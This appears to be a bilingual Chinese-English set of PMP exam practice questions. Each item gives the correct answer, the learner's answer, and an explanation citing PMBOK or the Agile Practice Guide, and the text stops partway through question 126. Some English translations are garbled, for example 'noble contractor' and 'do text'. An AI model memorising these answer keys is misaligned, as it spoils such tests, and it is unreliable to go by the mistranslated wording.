解析:知识点出处: PMBOK 6th 页码:P332 章节:9.3.2.2 谈判: 职能经理。 确保项目在要求的时限内获得最佳资源, 直到完成职责。 执行组织中的其他项目管理团队。合理分配稀缺 或特殊资源。 外部组织和供应商。提供合适的、稀缺的、特殊的、合格的、经认证的或其他 特殊的团队或实物资源。 特别需要注意与外部谈判有关的政策、惯例、流程、 指南、法律及其他标准。 获取资源,优先谈判 39、 你被指派领导一个敏捷项目来开发一个新的软件应用程序。但需求模糊,以至于你甚至不知道从哪里开始项目计划。你意识到管理项目上的变更将是最大的挑战。在这种环境中处理变更的最佳策略是什么?You are assigned to lead an agile project to develop a new software application. The requirements are so vague that you don't even know where to start the project planning. You realize that managing changes on the project will be the biggest challenge. What is your best strategy to handle changes in this environment?  A :建立严格的变更控制过程 Establish a rigorous change control process  B :在需求到达时实施所有变更和任何变更 Implement all and any changes as they arrive  C : 允许变更,即使在开发后期 Allow for changes, even late in development  D :让团队决定要实施哪些变更 Let the team decide on what changes to implement 正确答案:C 你的答案:D 解析:知识点出处:敏捷实践指南 页码:P9 章节:2.2 敏捷拥抱变更 40、 对于一个具有战略意义的重要客户资源,项目经理在确认矩阵组织中资源可用性时,发现某个关键资源已调往一个内部项目,项目经理首先应该采取何种行动?For a strategically important customer resource, when the project manager identifies a resource availability in a matrix organization, it discovers that a key resource has been redeployed to an internal project, and what action should the project manager take first?  A :与项目赞助人协商推迟项目 Negotiate and postpone projects with project sponsors  B :要求项目管理办公室将资源重新调回项目 Request the project management Office to reassign resources to the project  C :更新风险登记簿 Update the Risk register  D : 与职能经理协商将资源重新调回项目 Negotiate resources back to project with functional manager 正确答案:D 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P332 章节:9.3.2.2 谈判: 职能经理。 确保项目在要求的时限内获得最佳资源,直到完成职责。 执行组织中的其他项目 管理团队。合理分配稀缺或特殊资源。 外部组织和供应商。提供合适的、稀缺的、特殊的、合格的、经认证的或其他 特殊的团队或实物资源。 特别需要注意与外部谈判 有关的政策、惯例、流程、指南、法律及其他标准。 获取资源,优先谈判 43、 敏捷项目团队与产品负责人、项目经理和其他关键项目相关方会面,讨论项目必须经过的多层计划。参与者承认在发布和迭代级别上需要计划。项目经理指出,每天都需要规划。项目经理指的是以下哪项?An agile project team meets with the product owner, project manager, and other key project stakeholders to discuss the multiple levels of planning that the project will have to go through. The participants acknowledge that planning will be required at the release and iteration level. The project manager indicates that planning will also be required on a day-to-day basis. Which of the following does the project manager refer to?  A :在项目中尽早实施体系结构刺探以降低技术风险 Carrying out an architectural spike to reduce technical risks as early as possible in the project  B : 同步和协调导致完成任务的个别活动 Synchronizing and coordinating the individual activities that lead up to the completion of a task  C :获取项目团队成员,并根据资源管理计划分配任务 Acquiring project team members and assigning the tasks per the resource management plan  D :与组织中从事同一项目的其他团队协调团队活动 Coordinating team activities with other teams working on the same project in the organization 正确答案:B 你的答案:C 解析:知识点出处: 敏捷实践指南 页码:P53 章节:5.2.4 每日站会:• 上次站会以来我都完成 了什么? • 从现在到下一次站会, 我计划完成什么? • 我的障碍(或风险或 问题)是什么? 每日站会不解决问题。 44、 一家公司开始了它的第一个混合型项目。项目进度计划是根据基准来衡量的,并且产品是使用Scrum开发的。公司已经为团队进行了敏捷培训。项目的完成日期到了,团队提交他们到目前为止能够完成的内容。客户检查产品并指出一个重要的功能没有交付。造成这种情况最可能的原因是什么?A company undertakes its first hybrid project. The project schedule is measured against the baseline, and the product is developed using Scrum. Agile training is provided to the team. The project completion date is due, and the team submits what they were able to complete so far. The customer inspects the product and indicates that an important feature was not delivered. What was the most likely reason that caused this situation?  A :项目团队拒绝在晚上和周末工作以完成整个产品待办事项列表 The project team refused to work evenings and weekends to complete the entire product backlog.  B : 产品负责人未包括在敏捷培训中,甚至没有分配到项目中 A product owner was not included in agile training or was not even assigned to the project.  C :项目团队没有与客户协商如何确定产品待办事项列表的优先级 The project team did not consult with the customer on how to prioritize the product backlog.  D :进度基准太短,无法开发产品待办事项列表中的所有项目 The schedule baseline was too short for all the items in the product backlog to be developed. 正确答案:B 你的答案:C 解析:知识点出处:敏捷实践指南 页码:41 章节:4.3.2 产品负责人 Product Owner :创建待办列表并排序、 确认工作优先顺序、 提供反馈 、指导开发方向 PO对接客户, 以确定是否变更以及何时变更。 46、 项目经理正在制定进度管理计划。由于客户表示需要尽早频繁地交付商业价值,因此项目经理选择将迭代计划与待办事项列表合并。该项目的进度管理计划中需要解决以下哪项?(选择三项)The project manager is in the process of developing the schedule management plan. Since the customer has expressed the need for early and frequent delivery of business value the project manager elects to incorporate iterative scheduling with a backlog. Which of the following will need to be addressed in the schedule management plan for this project?(Choose three)  A :在资源可用时使用看板面板来从待办事项列表拉动工作 Using a Kanban board to pull work from the backlog when resources become available  B : 使用基于适应型生命周期的滚动式规划 Accounting for rolling wave planning based on an adaptive life cycle  C : 以用户故事的形式记录需求 Documenting the requirements in the form of user stories  D :在初始项目计划期间将工作包分解为活动清单 Decomposing work packages into an activity list during initial project planning  E : 在项目待办事项中确定并优化用户故事的优先级 Prioritizing and refining the user stories in the project backlog 正确答案:B,C,E 你的答案:C,E 解析:知识点出处:PMBOK 6th 页码:P177 章节:6 项目进度管理的发展趋势和新兴实践:具有未完项的迭代型进度计划。这是一种基于适应型生命周期的滚动式规划(B),例如敏捷的产品开发方法。这种方法将需求记录在用户故事中(C),然后在建造之前按先级排序(E)并优化用户故事,最后在规定的时间盒内开发产品功能。 具有未完成项的迭代型进度计划,而非按需进度计划,因此不选A。 47、 项目经理在制定项目进度计划时,希望按照符合逻辑的方式排列任务顺序,并使用至少有高级的承包商。项目经理应该查阅哪份文件?The project manager wants to arrange the task order in a logical way and use at least a noble contractor while developing the project schedule. Which document should the project manager check?  A :里程碑清单 List of milestones  B :项目范围说明书 Project scope statement  C :活动清单 Activity list  D : 活动属性 Activity attributes 正确答案:D 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P186 章节:6.2.3.2 活动属性:活动属性可能包括活动描述、紧前活动、紧后活动、逻辑关系、提前量和滞后量(见 6.3.2.3 节)、 资源需求、 强制日期、制约因素和假设条件 活动属性的概念 49、 项目发起人通知项目经理一项新的政府法律被批准了,该法律将影响项目的进度计划和预算,这种可能性作为一种主动接受的威胁包含在风险管理计划中。 项目经理下一步应该做什么?The project sponsor informs the project manager that a new government law has been approved that will affect the project's schedule and budget, and this possibility is included in the risk management plan as a proactively accepted threat.What should the project manager do next?  A :更新风险管理计划,并记录经验教训 Update the risk management plan and record lessons learned  B :向变更控制委员会(CCB)提交一份变更请求 Submit a change request to the Change Control Board (CCB)  C : 使用应急储备来管理这种情况 Use emergency reserves to manage this situation  D :评估管理储备来控制该风险 Assess management reserves to control the risk 正确答案:C 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P443 章 节:11.5.2.4 接受风险:接受是指承认威胁的存在,但不主动采取措施。 接受策略又分为主动或被动方式。最常见的主动接受策略是建立应急储备。被动接受策略则不会主动。 最常见的主动接受策略是建立应急储备。 52、 你被分配到一个软件开发项目。产品需求在一开始就没有明确定义。因此,决定是使用敏捷框架来开发产品。项目的其他方面将使用传统的瀑布式项目管理方法进行管理。以下哪一项可能会花费较少的时间来开发和/或实现该项目?You are assigned to a software development project. The product requirements are not clearly defined upfront. Therefore, it has been decided to develop the product using an agile framework. Other aspects of the project will be managed using the traditional waterfall project management approach. Which of the following might you spend less time developing and/or implementing for this project?  A :项目章程 The project charter  B :问题日志 The issue log  C : 变更管理计划 The change management plan  D :确认范围过程 The Validate Scope process 正确答案:C 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P88 章节:4.2.3.1 变更管理计划:描述在整个项目期间如何正式审批和采纳变更请求。 敏捷中没有变更管理计划。因此敏捷部门无须制定。 53、 一个项目来取代目前公司的文件存储系统已经获批。外部供应商提供硬件,内部团队开发软件。这个团队是自组织的,由一般的专家组成。团队建议迭代地与供应商合作,但供应商表示拒绝。因此,只有软件将被迭代开发。什么项目管理方法对该项目最有效?A project has been chartered to replace the current company's file storage system. An external vendor provides the hardware, and an internal team develops the software. The team is self-organizing and comprised of generalized specialists. The team suggests working iteratively with the vendor, but the vendor refuses. Therefore, only software will be developed iteratively. What project management approach would work best for this project?  A : 混合式 Hybrid  B :瀑布式 Waterfall  C :敏捷式 Agile  D :预测式 Predictive 正确答案:A 你的答案:C 解析:知识点出处:敏捷实践指南 页码:P26 章节:3.1.6 混合生命周期的特征: 对于整个项目,没有必要使用单一的方法。为达到特定的目标,项目经常要结合不同的生命周期要素。预测、迭代、增量和/或敏捷方法的组合就是一种混合方法。 软件开发为敏捷,其他为瀑布。 56、 随着项目的进展,偏差分析表明与绩效测量基准相比,实际的项目绩效会恶化。因此,对成本、进度和范围的估算不再有效。团队确定大量的新功能、变更请求和缺陷修复是差异背后的主要原因。项目经理要确保在实际进展的基础上对项目的剩余工作进行进一步的估算,最好的行动方案是什么?As the project progresses, the variance analysis shows that actual project performance compared to the performance measurement baseline deteriorates. As a result, estimates for cost, schedule, and scope are no longer valid. The team determines that a high volume of new features, change requests, and defect repairs are the main reason behind the variance. What is the project manager's best course of action to ensure that further estimates for the remainder of the work on the project are made based on real progress?  A : 将产品开发方法转换为通过短迭代来适应和度量进度 Switch the product development approach to adaptive and measure progress via short iterations  B :限制项目中允许的新功能、变更请求和缺陷修复的数量 Limit the number of new features, change requests, and defect repairs allowed on the project  C :请使用自下而上估算成本和进度计划估算技术以及三点估算范围 Use a bottom-up estimating technique for cost and schedule, and three-point estimating for scope  D :基于单个的基准而不是单一的综合基准来衡量进度 Measure progress based on the individual baselines instead of the single integrated baseline 正确答案:A 你的答案:C 解析:知识点出处: 敏捷实践指南 页码:P18 章节:3.1 四种生命周期特征。 变更过多,说明需求是动态的,不建议使用瀑布型。 57、 一位项目经理正在为一家初创公司领导一个敏捷项目。虽然这是该组织的第一个此类项目,但可能会有更多类似的项目紧随其后。因此,项目经理希望确保在这个项目中获得的知识能够用于未来的项目。 下列哪一种做法将最好地支持知识转移,以造福未来的项目?(选择三个)A project manager is leading an agile project for a startup company. Although this is the first such project for the organization, there will likely be many more similar projects to follow. Therefore, the project manager wants to ensure that the knowledge gained during this project is used for the benefit of future projects. Which of the following practices will best support the transfer of knowledge to benefit future projects? (Choose three)  A : 记录在整个项目中学习到的经验教训中获得的知识。 Document knowledge gained in the lessons learned register throughout the project  B : 确保经验教训登记册最后定稿并转移到经验教训存储库。 Ensure that the lessons learned register is finalized and transferred to the lessons learned repository  C : 与项目团队和相关相关方定期召开回顾会议。 Conduct regular retrospective meetings with the project team and relevant stakeholders  D :定期审查作为项目管理计划组成部分的知识管理计划。 Regularly review the knowledge management plan as an element of the project management plan  E :确保在配置管理计划中将所学到的经验记录作为配置元素列出。 Ensure that the lessons learned register is listed as a configuration element in the configuration management plan 正确答案:A,B,C 你的答案:A,B,D 解析:知识点出处: PMBOK 6th 页码:P104 章节:4.4.3.1 经验教训登记册:在项目早期创建。在整个项目期间,它 可以作为很多过程的输入,也可以作为输出而不断更新。 在项目或阶段结束时,把相关信息归入经验教训知识库,成为组织过程资产的一部分。 D不存在知识管理计划。 E配置管理计划不存档项目知识。 60、 项目经理刚刚从组织辞职的另一位项目经理那里接管一个正在进行的项目。在审查项目管理计划时,项目经理意识到成本偏差和进度偏差主要是负面的。项目尚未解决,还未向供应商支付已完成的工作,并且减轻次生风险正迅速耗尽预算。本应该采取哪种三项措施来避免这种情况?(选择三项)A project manager has just taken over an ongoing project from another project manager who resigned from the organization. During a review of the project management plan, the project manager realizes that the cost variance and schedule variance are primarily negative. Several issues reported on the project have not been resolved. Vendors have not been paid for work done, and mitigation of secondary risks is quickly depleting the budget. Which three actions should have been taken to avoid this situation? (Choose three)  A : 在项目章程中实施明确的假设 Implemented explicit assumptions in the project charter  B :在项目章程中增加应急预算 Added a contingency budget to the project charter  C :确定项目交接程序 Identified project handoff procedures  D : 确保项目治理控制措施得到批准和实施 Ensured the project governance controls were approved and implemented  E : 在项目规划阶段确定高风险和对策 Identified high-level risks and responses in the project planning phase 正确答案:A,D,E 你的答案:A,B,E 解析:知识点出处: PMBOK 6th 页码:P395 章节:11 项目风险管理的目标在于提高正面风险的概率和(或)影响,降低负面风险的概率和(或)影响,从而提高项目成功的可能性。 进度和成本同时有问题都是风险没有管理好。B章程里没风险C交接不管用 63、 在项目开始时,一位相关方通知项目经理他们将缺席多次项目会议,项目经理首先应该做什么?At the beginning of the project, a related party informs the project manager that they will be absent from multiple project meetings. What should the project manager do first?  A :识别一位替代相关方在该相关方缺席时参加会议 Identify an alternate party to the meeting in the absence of that party.  B : 通过映射他们的权力和影响力来分析相关方 Analyze interested parties by mapping their power and influence.  C :监控该相关方,并在会议之前请求提供信息 Monitor the interested party and request information before the meeting  D :坚持要求让该相关方参加所有会议以避免开创先例 Insist on having the relevant party participate in all meetings to avoid setting a precedent 正确答案:B 你的答案:C 解析:知识点出处: PMBOK 6th 页码:P512 章节:13.1.2.4 权力影响方格: 基于相关方的职权级别(权力)、对项目成果的关心程度(利益)、对项目成果的影响能力(影响),或改变项目计划或执行的能力,每一种方格都可用于对相关方进行分类。 与权力/利益方格类似,权力影响也是分成四个区间。 68、 在项目执行期间,项目经理意识到对项目成功至关重要的几个关键相关方不包含在相关方参与计划中。项目经理应该如何让这些相关方参与并管理这些相关方?During project execution,a project manager realizes that several key stakeholders critical to project success are not included in the stakeholder. engagement plan.What should the project manager do to engage and manage these stakeholders?  A : 了解新识别相关方的影响力和职权级别,并准备一份状态报告以向他们提供更新信息 Gain an understanding of the newly identified stakeholders'level of influence and authority  B :向新识别的相关方通知他们的项目职责 Inform the newly identified stakeholders of their project responsibilities  C :与所有相关方开会,介绍新识别的相关方 Meet with all stakeholders to include the realizes the newly identify stakeholders  D :将新识别的相关方添加至执行、负责、咨询和知情图,并向他们发送信息 Add the newly identified stakeholders to the responsible,accountable,consult, and inform(RACI)chart,and send them the information 正确答案:A 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P512 章节:13.1.2.3 相关方分析:相关方分析会产生相关方清单和关于相关方的各种信息,例如,在组织内的位置、在项目中的角色、与项目的利 害关系、期望、态度(对项目的支持程度),以及对项目信息的兴趣。 再分析相关方, 再引导相关方的参与。 79、 作为估算活动持续时间过程的一部分,项目经理促成了与产品负责人和Scrum团队的冲刺计划会议。项目经理将用户故事分解为较小的任务项,以小时为单位估算所需时间,并根据团队的能力确定冲刺待办事项列表。尽管计划周密,冲刺还是失败了。项目经理当初可采取什么样的不同做法?As part of the Estimate Activity Durations process, the project manager facilitates a sprint planning meeting with the product owner and Scrum team. The project manager breaks down the user stories into low-level tasks, estimates the time required in hours, and determines the sprint backlog based on the team's capacity. Despite meticulous planning, the sprint fails. What might the project manager have done differently?  A :在确定冲刺待办事项列表之前,要求团队为产品待办事项列表设优先级 Asked the team to prioritize the product backlog before determining the sprint backlog  B :将确定的低级任务分配给项目进度计划中的特定人员 Assigned the identified low-level tasks to specific individuals in the project schedule  C : 授权团队确定他们在冲刺期间可以完成多少用户故事 Empowered the team to determine how many user stories they can complete during the sprint  D :在估算用户故事和任务的大小时,使用故事点而不是小时 Used story points instead of hours while estimating the size of the user stories and tasks 正确答案:C 你的答案:A 解析:知识点出处: 敏捷实践指南 页码:P153 章节:术语表 自组织团队:它是一种跨职能团队,其中为实现团队目标团队成员根据需要轮换着发挥领导作用。 自组织团队的核 心就是做什么事情,团队成员说了算。 83、 一个敏捷项目已经进入了第七次冲刺阶段。在冲刺结束前两天,客户通知产品负责人,他们忘记在冲刺中包含某个功能。高级经理无意中听到谈话,并表示包含该功能意味着范围蔓延,并不应被允许。产品负责人的最佳行动方案是什么?An agile project has entered its seventh sprint. Two days before the end of the sprint, the customer informs the product owner that they forgot to include one feature in the sprint. A senior manager overhears the conversation and states that including the feature represents scope creep and should not be allowed. What is the product owner's best course of action?  A : 与客户合作,在产品待办事项列表中为该功能设优先级 Work with the customer to prioritize the feature in the product backlog  B :请求客户提交变更请求 Request that the customer submit a change request  C :指导团队在当前的冲刺中开发该功能 Instruct the team to develop the feature in the current sprint  D :按照高级经理的指示拒绝该功能 Reject the feature as instructed by the senior manager 正确答案:A 你的答案:B 解析:知识点出处:敏捷实践指南 页码:41 章节:4.3.2 产品负责人 Product Owner: 创建待办列表并排序 、确认工作优先顺序、 提供反馈、 指导开发方向 敏捷拥抱变更, PO与客户一起确认优先级。 86、 在冲刺计划会议上,Scrum主管重申,如果在冲刺结束时敏捷项目团队正在构建的产品增量没有达到冲刺开始时指定的标准,那么这项工作将不会包含在当前冲刺的速度中。Scrum主管指的是什么?At the sprint planning meeting, the scrum master reiterates that if by the end of the sprint the product increment that the agile project team is building does not meet the criteria specified at the beginning of the sprint, this work will not be included in the velocity for the current sprint. What does the scrum master refer to?  A :完工尚需估算 Estimate to complete  B : 完成的定义 Definition of done  C :项目退出标准 Project exit criteria  D :质量测量指标 Quality metrics 正确答案:B 你的答案:A 解析:知识点出处:敏捷实践指南 页码:P151 章节:术语表 完成的定义DoD :它是团队需要满足的所有标准的核对单,只有可交付成果满足该核对单才能视为准备就绪可 供客户使用。 敏捷项目完成后,检查DOD,以验证是否满足标准 91、 项目经理正在制定项目进度计划,并希望赋予团队比过去项目更多的决策权。他创建了一个甘特图,显示WBS工作包级别的活动,这些活动被分配给团队而不是个人。然后,他将工作包记录在一个看板面板的待办事项列表中。项目经理如何通过理想化的属性和行为使用鼓舞人心的激励来授权团队?A project manager is developing the project schedule and wants to empower the team with more decision making authority than past projects. He creates a Gantt chart that displays activities down to the work package level of the WBS, which are assigned to the team rather than individuals. He then records the work packages in the backlog of a Kanban board. How might the project manager use inspirational motivation to empower the team through idealized attributes and behaviors?  A :采取自由放任的领导风格 Adopt a Laissez-faire leadership style  B :融入仆人型领导者的要素 Incorporate the elements of a servant leader  C :利用例外管理 Utilize management by exception  D : 使用变革型领导风格 Use a transformational leadership style 正确答案:D 你的答案:B 解析:知识点出处:敏捷实践指南 页码:P73 章节:6.1.2 变革就绪情况: • 积极明确的管理层支持; • 变革管理实践,包括沟通和引导; • 逐个项目应用敏捷实践 • 向团队增量地引入敏捷实践;以及 • 通过采取适用的敏捷技术和实践示范引导。 从题干看出,这明显是从瀑布型向敏捷型的变革,需要变革型领导风格。 96、 你正在为一个为当地电力公司安装智能无线电表的多阶段项目开发基准。第一阶段将准备基础设施,第二阶段将安装仪表,第三阶段将上传软件。然而,由于反无线技术组织的反对,尚不清楚该项目是否会在整个规划区域全部完工。在项目过早关闭的情况下,为了增加交付价值的机会,你的最佳行动方案是什么?You are developing baselines for a multi-phase project to install smart wireless meters for a local electric utility company. The first phase will prepare infrastructure, second will install the meters, and third will upload the software. However, due to the opposition of anti-wireless-technology groups, it's unclear if the project will be completed all across the planned region. What is your best course of action to increase the chances of delivering value in case the project closes prematurely?  A :要求当地政府为项目团队成员提供必要的安全措施,以保护他们免受与反无线技术团体的潜在对抗 Request that the local government provide the necessary security measures for the project team members to protect them from the potential confrontation with the anti-wireless-technology groups  B :获得发起人的批准,向那些同意额外工作以尽快完成工作的人提供奖金,即使这涉及到在夜晚和周末轮班工作 Get approval from the sponsor to offer bonuses to those who agree to work extra time to complete the work as fast as possible even if this involves working in shifts during nights and weekends  C : 建议将项目从多阶段切换到一阶段方法,并完成基础设施准备、仪表安装和软件上传,迭代一次一个邻域 Suggest switching the project from a multi-phase to one-phase approach and complete infrastructure preparation, meters' installation, and software upload in short iterations one neighborhood at a time  D :建议项目终止,因为在方案中描述的情况下,无法按时、按时完成项目、范围和预算,并为客户提供任何价值 Recommend project termination since under the circumstances described in the scenario there is no way to complete the project on time, scope and budget, and deliver any value to the customer 正确答案:C 你的答案:D 解析:知识点出处: 敏捷实践指南 页码:P9 章节:2.2 敏捷十二原则第1条 :我们的最高目标是,通过尽早持续交付有价值的软件来满足客户的需求。 价值交付是敏捷原则的第一条 99、 在开发一个新产品时,耐久性测试是关键路径上的一项重要活动。然而,测试设施被一个优先级较高的项目占用,且占用时间比原计划长。项目经理接下来应该怎么做?In the development of a new project the endurance testing is an important activity on the critical path. However, the last facility is occupied by a higher project. Which is taking longer than initially planned. What should the project manager do text?  A :为延迟的项目开展根本原因分析 Perform a root cause analysis for the delayed project  B : 审查风险登记册中的适当响应 Review the risk register for the appropriate response  C :将延期情况通知项目相关方 Inform the project stakeholders about the delay  D :将问题上报给高级管理层 Escalate the issue to senior management 正确答案:B 你的答案:A 解析:知识点出处: PMBOK 6th 页码:P455 章节:11.7.1.2 风险登记册: • 已识别单个项目风险 • 风险责任人 • 商定的风险应对策略 • 以及具体的应对措施。 遇风险,先查册 103、 你的敏捷项目需要本地无法找到的专家。你可以在全球各地找到所需的资源,但由于各种限制,不能在项目期间对专家进行配置。你认为推进项目的唯一方法是在虚拟环境下建立团队。启动会议将在几周后举行。要让团队参加会议,你的最佳行动方案是什么?Your agile project needs specialists that are not available locally. You find the needed resources across the globe, but due to various constraints, cannot colocate them for the duration of the project. You decide that the only way to go ahead with the project is by setting up the team in a virtual environment. The kick-off meeting is in a few weeks from now. What is your best course of action to have the team attend the kick-off?  A :让团队成员在会议期间连接到视频会议 Have the team members connect to the video conference during the meeting  B : 可能的话,带团队成员亲自参加启动会议 If possible, bring the team members to attend the kick-off meeting in person  C :将会议录下来并将录像发送给团队成员 Record the kick-off meeting on a video and send the recording to the team  D :什么都不做,因为敏捷团队有权作出自己的决策 Do nothing since agile teams are empowered to make their own decisions 正确答案:B 你的答案:A 解析:知识点出处:敏捷实践指南 页码:P9 章节:2.2 敏捷原则第6条: 无论对开发团队还是团 队内部,信息传达最有效的方法都是面对面的交谈。 如果可能的话,还是要当面开启动会,以获取相关方的承诺。 106、 项目经理正在收集正式的项目需求。在进行相关方访谈后,项目经理意识到有些目标与项目章程中的目标不一致。根据在启动阶段获得的信息,必须高度关注该项目,以保持符合预算限制。 若要管理需求并满足相关方的期望,项目经理应该怎么做?A project manager is gathering formal project requirements. After conducting stakeholder interviews, the project manager realizes that some objective are inconsistent with those in the project charter. Based on information learned during the initiation phase, this project must be highly focused to stay within budget limits. To manage requirements and meet stakeholder expectations, what should the project manager do?  A : 将相关方的期望与项目章程中的目标调整一致 Realign the stakeholder's expectations with the objectives in the project charter.  B :扩展项目章程以包含新识别到的目标 Expand the project charter to include the newly identified objectives.  C :删除项目章程中与相关方目标不一致的目标 Remove objectives in the project charter that are not aligned with the stakeholders’objectives  D :忽视可能超出项目章程中详述的范围的相关方目标 Disregard stakeholders’objectives that may be outside the scope detailed in the project charter. 正确答案:A 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P81 章节:4.1.3.1 项目章程: 项目章程是由项目启动者或发起人发布的,正式批准项目成立,并授权项目经理使用组织资源开展项目活动的文件。它记录了关于项目和项目预期交付的产品、服务或成果的高层级信息目标要保持一致, 这样才能最大可能的让项目成功。 113、 在你的项目中,镀金一直是反复出现的问题,因为团队一直在添加他们认为对客户有用的功能,尽管这些功能并没有包含在WBS中。变更请求是在事后提交的,并且一些功能最终被添加到项目范围。你担心与计划的偏差。你会怎样做才能更好地控制范围,防止进一步镀金?Gold plating had been a recurring issue on your project as the team has been adding features they think are useful for the customer even though the features were not included in the WBS. Change requests have been submitted after the fact, and some of the features were eventually added to the project scope. You are concerned about deviations from the plan. What might you do to control scope better and prevent further gold plating?  A :采用敏捷方法,这样团队就可以开发任何他们认为有价值的功能 Adopt an agile approach so the team can develop any features they deem valuable  B :提交变更请求,以获取问题日志中的镀金问题 Submit a change request to capture the gold plating problem in the issue log  C :在项目回顾中讨论问题,并更新经验教训登记册 Discuss the issue at the project retrospective and update the lessons learned register  D : 与团队成员进行日常站会的敏捷实践相协调 Incorporate the agile practice of holding daily standup meetings with the team 正确答案:D 你的答案:C 解析:补充知识点 范围蔓延: 在客户的要求下,没有经过正常的范围变更控制批准程序, 而直接扩大了项目定义范围的工作内容。 镀金:范围蔓延的一种,指在定义范围的工作范围以内,项目团队主动增加的额外工作。 镀金是在任何开发方法中 都不建议的。因此A不对, 即使到敏捷,也是PO决定范围。 D,每日站会让开发团队集中在现有范围内。 114、 一家公司已与一家水电站签订了软件开发合同。项目管理计划指定Scrum作为开发方法。在项目的几次冲刺阶段,监管机构通知执行机构,由于新的环境法,原本不包括在范围基准中的安全功能将需要被内置到软件中。项目经理的最佳行动方案是什么?A company has been contracted to develop software for a hydroelectric plant. The project management plan specifies Scrum as the development approach. Few sprints into the project, regulators notify the performing organization that due to new environmental laws, safety features originally not included in the scope baseline will need to be built into the software. What is the project manager's best course of action?  A : 发出变更请求以更新项目管理计划,一旦获得批准,确保范围基准得到更新 Issue a change request to update the project management plan and, once approved, ensure that the scope baseline is updated  B :与产品负责人进行根本原因分析,以确定为安全功能最初未包含在范围中的原因 Conduct a root cause analysts with the product owner to determine why the safety features were not included in the scope in the first place  C :使用MoSCoW优先级模型来梳理范围基准,并将新的安全功能分类为"应具有" Use the MoSCoW model of prioritization to groom the scope baseline and categorize the new safety features as "should have"  D :在冲刺计划期间与团队讨论新功能,如果团队同意,请他们在下次冲刺中实现功能 Discuss the new features with the team during sprint planning and if the team agrees, ask them to implement the features in the next sprint 正确答案:A 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P113 章节:4.6 变更流程:变更提出后,先分析影响,再提交含解决措施的变更请求给 CCB 存在范围基准,说明使用了混合方法 改变了范围基准, 需要提交变更请求。 115、 在桥梁建设项目中,项目经理正在监督和控制项目构件的各种变化。 下列哪一项最可能需要经过批准的变更请求才能进行变更?(选择四个)A project manager is in the process of monitoring and controlling various changes to project artifacts for a bridge construction project. Which of the following will most likely require an approved change request before the change can be accommodated? (Choose four)  A : 有人建议将预测式开发方法改为混合开发方法 A suggestion has been made to change from predictive to a hybrid development approach.  B : 项目的运行超出了预算,需要修改成本基线以反映实际情况。 The project is running well over budget, and the cost baseline needs to be revised to reflect reality.  C : 项目发起人想要向配置管理计划添加一个文档。 The project sponsor wants to add a document to the configuration management plan.  D :几项任务的修订状态需要反映在项目进度表中。 The revised status of several tasks needs to be reflected in the project schedule.  E : 一名高级主管建议更新项目生命周期描述,以增加一个阶段。 A senior executive has recommended updating the project life cycle description to include an additional phase.  F :刚刚确定了一个新的利益相关者,需要将其添加到利益相关者登记册中 A new stakeholder has just been identified and needs to be added to the stakeholder register 正确答案:A,B,C,E 你的答案:A,B,C,D 解析:知识点出处: PMBOK 6th 页码:P113 章节:4.6 在基准确定之前, 变更无需正式受控于实施整体变更控制过程。 不涉及基准一般不用审批。 D任务状态不需要审批E相关方登记册一般不给相关方审批 121、 敏捷项目的第一次迭代即将开始。发起人召集团队、Scrum主管、产品负责人和其他项目相关方参加启动会议。发起人强调需要在项目尽可能早的时候以最小的成本识别和应对项目风险。与会者实现发起人要求的最佳方式是什么?The first iteration of an agile project is about to begin. The sponsor gathers the team, the scrum master, the product owner, and other project stakeholders for the kick-off meeting. The sponsor emphasizes the need to identify and respond to the project risks as early in the project as possible and at the minimal cost. What is the best way for the meeting participants to implement the sponsor's request?  A : 团队和相关方应该经常审查产品增量 The team and stakeholders should frequently review product increments.  B :项目相关方应该在每次冲刺中执行基于风险的刺探 The project stakeholders should conduct risk-based spikes in each sprint.  C :产品负责人和发起人应该对高风险的用户故事进行优先级排序 The product owner and the sponsor should prioritize high-risk user stories.  D :团队应该与Scrum主管一起实现结对编程 The team should implement pair programming with the scrum master. 正确答案:A 你的答案:C 解析:知识点出处: 敏捷实践指南 页码:P56 章节:5.2.7 持续集成: 在不同层面测试、验收测试驱动开发 (ATDD) 、测试驱动开发和行为驱动开发、 刺探 。 B刺探应由团队做 C,PO与团队和相关 方共同确认优先级。 D,结对编程应由团 队来做。 123、 在项目执行期间,一名外部相关方反对一项重大范围变更。除非重新评估相关方的决定,否则项目进展将受到影响。项目经理下一步该怎么做?During the project implementation, an external stakeholder is opposed to a major scope change.Unless the stakeholder's decision is reassessed, the project progress will be impacted.What should the project manager do next?  A : 审查相关方管理计划评估影响 To review the stakeholder's effort for the plan to assess the impact  B :请求项目发起人解决相关方的问题 To request the project sponsor to solve the problem encountered by the stakeholder  C :修订预算,反映可选方案的成本 To revise the budget to reflect the cost of the alternative  D :调查相关方反对背后的理由 To investigate the reason behind the opposition 正确答案:A 你的答案:D 解析:知识点出处: PMBOK 6th 页码:P522 章节:13.2.3.1 相关方参与计划 :是项目管理计划的组成部分。 它确定用于促进相关方有效参与决策和执行的策略和行动。 相关方参与计划可包括(但不限于)调动个人或相关方参与 的特定策略或方法。 遇抵制,找相关方参与计划。 125、 项目经理为一个具有按时完成盈利项目历史记录的组织工作。然而,由于缺乏相关方的支持以及他们未能提供信息,这些项目都经历过问题。若要避免这些问题,项目经理在新项目开始时应该做些什么?A project manager works for an organization with a history of completing projects on time.However,these projects have all experienced issues due to alack of stakeholder's support and their failure to provide information.What should the project manager do at the beginning of a new project to avoid these issues?  A :管理所有相关方的期望,并为每个人提供解决方案 Manage all stakeholder's expectation,and provide a solution for each one  B :准备一份包含所有相关方的沟通管理计划 Prepare a communications management plan that includes all stakeholders  C : 在启动阶段识别关键相关方并进行优先级排序 Identify and prioritize the key stakeholders during the initiating stage  D :复制之前项目的工作,因为这些项目结束时都很好 Duplicate efforts from previous projects since they ended well 正确答案:C 你的答案:B 解析:知识点出处: PMBOK 6th 页码:P504 章节:13 相关方的观点:项目经理和团队正确识别并合理引导所有相关方参与的能力,能决定着项目的成败 要尽早地识别关键的相关方,因此识别相关方在启动阶段开始 126、 在编写第三份进度报告时,项目经理注意到团队成员未能记录他们的任务绩效,若要评估这些任务的进度并最终完成报告,项目经理应该做些什么?When writing the third progress report, the project manager noticed that team members failed to record their task performance, what should the project manager do to evaluate the progress of these tasks and finally complete the report?  A :使用趋势分析来预测进度 Use trend analysis to predict 